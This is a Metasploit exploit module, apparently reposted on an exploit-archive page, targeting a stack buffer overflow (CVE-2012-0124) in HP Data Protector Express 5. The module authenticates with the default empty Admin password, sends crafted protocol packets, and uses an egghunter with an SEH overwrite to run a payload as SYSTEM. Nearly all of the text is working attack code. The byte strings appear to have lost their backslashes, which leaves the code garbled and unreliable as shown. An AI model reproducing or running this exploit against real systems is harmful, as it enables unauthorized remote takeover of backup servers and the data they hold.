[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : HP Data Protector Create New Folder Buffer Overflow
# Published : 2012-07-01
# Author :
# Previous Title : NetDecision 4.2 TFTP Writable Directory Traversal Execution
# Next Title : Ubisoft uplay 2.0.3 Active X Control Arbitrary Code Execution


##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::Tcp
	include Msf::Exploit::Remote::Seh
	include Msf::Exploit::Remote::Egghunter

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HP Data Protector Create New Folder Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in HP Data Protector 5. The overflow
				occurs in the creation of new folders, where the name of the folder is handled in a
				insecure way by the dpwindtb.dll component. While the overflow occurs in the stack, the
				folder name is split in fragments in this insecure copy. Because of this, this module
				uses egg hunting to search a non corrupted copy of the payload in the heap. On the other
				hand the overflowed buffer is stored in a frame protected by stack cookies, because of
				this SEH handler overwrite is used.

				Any user of HP Data Protector Express is able to create new folders and trigger the
				vulnerability. Moreover, in the default installation the 'Admin' user has an empty
				password. Successful exploitation will lead to code execution with the privileges of
				the "dpwinsdr.exe" (HP Data Protector Express Domain Server Service) process, which
				runs as SYSTEM by default.
			},
			'Author'         =>
				[
					'juan vazquez',
					'sinn3r'
				],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'CVE', '2012-0124' ],
					[ 'OSVDB', '80105' ],
					[ 'BID', '52431' ],
					[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03229235' ]
				],
			'Payload'        =>
				{
					'Space' => 2000,
					'BadChars' => "x00x2fx5c",
					'DisableNops' => true
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					['HP Data Protector Express 5.0.00.59287 / Windows XP SP3',
						{
							'Ret' => 0x66dd3e49, # ppr from ifsutil.dll (stable over windows updates on June 26, 2012)
							'Offset' => 2730
						}
					],
				],
			'DefaultTarget' => 0,
			'Privileged'     => true,
			'DisclosureDate' => 'Mar 12 2012'
			))
			register_options(
			[
				Opt::RPORT(3817),
				OptString.new('USERNAME', [ true, 'The username to authenticate as','Admin' ]),
				OptString.new('PASSWORD', [ false, 'The password for the specified username','' ])
			], self.class)
	end

	# dpwinsup!SvcEncrypt2
	def encrypt_password(password)
		if not password or password.empty?
			return ""
		end

		result = ""
		count = 0x80

		i = 0
		dl = 0
		al = password.unpack("C*")[i]

		while count > 2
			al = al + dl
			if al >= 0x100 then al = al - 0x100 end
			al = al + 0x22
			if al >= 0x100 then al = al - 0x100 end
			al = al ^ 0x2b
			if al >= 0x100 then al = al - 0x100 end
			al = al + 0x4c
			if al >= 0x100 then al = al - 0x100 end
			al = al ^ 0x5f
			if al >= 0x100 then al = al - 0x100 end
			al = al - dl
			if al >= 0x100 then al = al - 0x100 end
			bl = al
			if bl >= 0x100 then bl = bl - 0x100 end
			bl = bl >> 4
			if bl >= 0x100 then bl = bl - 0x100 end
			bl = bl + 0x41
			if bl >= 0x100 then bl = bl - 0x100 end
			result << [bl].pack("C")
			al = al & 0xf
			if al >= 0x100 then al = al - 0x100 end
			al = al + 0x41
			if al >= 0x100 then al = al - 0x100 end
			i = i + 1
			result << [al].pack("C")
			dl = dl + 5
			if dl >= 0x100 then dl = dl - 0x100 end
			count = count - 2
			if i >= password.length
				return result
			end
			al = password.unpack("C*")[i]

		end
		return result
	end

	def exploit
		connect

		machine_name = rand_text_alpha(15)

		print_status("#{sock.peerinfo} - Sending Hello Request")

		hello =  "x54x84x00x00x00x00x00x00" << "x00x01x00x00x92x00x00x00"
		hello << "x3ax53xa5x71x06x20x80x00" << "x6ax02xafx03xf8xc5xc7x02"
		hello << "x01x00x00x00xc0xa8x01x85" << "x00x00x00x00x00x00x00x00"
		hello << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		hello << "x00x00x00x00x01x00x00x00" << "x00x00x00x00x00x00x00x00"
		hello << "x00x00x00x00"
		hello << machine_name << "x00"
		hello << "x5bx2exadx71x50x03x00x00" << "xffxffx00x00x06x10x00x44"
		hello << "x74x62x3ax20x43x6fx6ex74" << "x65x78x74x00xf8x31x0ax10"
		hello << "x50x03x00x00xffxffx00x00" << "x06x10x00x00x6cxfa"

		sock.put(hello)
		hello_response = sock.get

		if not hello_response or hello_response.empty?
			print_error("#{sock.peerinfo} - The Hello Request haven't had response")
			return
		end

		print_status("#{sock.peerinfo} - Sending Authentication Request")

		auth =  "x51x84x00x00x02x02x02x32" << "x18x00x00x00xa4x01x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		auth << "x00x00x00x00x01x10x00x00" << "xd1x00x97x4exb8xe7x03x00"
		auth << "xd5x21xe6xff"

		user = datastore['USERNAME']
		pass = encrypt_password(datastore['PASSWORD'])
		auth[20, user.length] = user
		if pass and not pass.empty?
			auth[276, pass.length] = pass
		end

		sock.put(auth)
		auth_response = sock.get
		if not auth_response or auth_response.empty?
			print_error("#{sock.peerinfo} - The Authentication Request haven't had response")
			return
		end

		print_status("#{sock.peerinfo} - Sending Token Request")
		request_token =  "x51x84x00x00x02x02x02x32" << "x02x00x00x00x24x00x00x00"
		request_token << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		request_token << "x07x00x00x00"

		sock.put(request_token)
		response_token = sock.get
		if not response_token or response_token.empty?
			print_error("#{sock.peerinfo} - The Token Request haven't had response")
			return
		end

		print_status("#{sock.peerinfo} - Sending Home Identifier Request")
		request_home_identifier =  "x51x84x00x00x02x02x02x32" << "x03x00x00x00x30x00x00x00"
		request_home_identifier << "x00x00x00x00"
		request_home_identifier << response_token[-8,8]
		request_home_identifier << "x02x10x00x00x00x00x00x00" << "x00x00x00x00x01x00xffxff"
		request_home_identifier << "x00x00x00x00"

		sock.put(request_home_identifier)
		response_home_identifier = sock.get
		if not response_home_identifier or response_home_identifier.empty?
			print_error("#{sock.peerinfo} - The Home Identifier Request haven't had response")
			return
		end

		print_status("#{sock.peerinfo} - Sending Home Contents Request")
		request_home_contents =  "x51x84x00x00x02x02x02x32" << "x04x00x00x00x3cx00x00x00"
		request_home_contents << "x00x00x00x00x00x00x00x00"
		request_home_contents << response_token[-8,8]
		request_home_contents << "x00x00x00x00x00x00x00x00" << "x02x10x00x00"
		request_home_contents << response_home_identifier[24,9] << "0x00x00x00x0dx00x00"

		sock.put(request_home_contents)
		response_home_contents = sock.get
		if not response_home_contents or response_home_contents.empty?
			print_error("#{sock.peerinfo} - The Home Contents Request haven't had response")
			return
		end

		hunter,egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true, :eggtag => 'w00t' })
		my_payload = egg
		my_payload << rand_text(target['Offset']-my_payload.length)
		my_payload << generate_seh_record(target.ret)
		my_payload << hunter

		print_status("#{sock.peerinfo} - Sending Create Object Request")
		create_object_request =  "x51x84x00x00x02x02x02x32" << "x06x00x00x00x39x11x00x00"
		create_object_request << "x00x00x00x00"
		create_object_request << response_token[-8,8]
		create_object_request << response_home_contents[20, 14] << "x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x20x03x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00x00x00x00x00"
		create_object_request << "x00x00x00x00x00x00x00x00" << "x00x00x00x00"
		create_object_request << my_payload << "x00"

		create_object_request[12, 4] = [create_object_request.length].pack("V")

		sock.put(create_object_request)

		disconnect
	end
end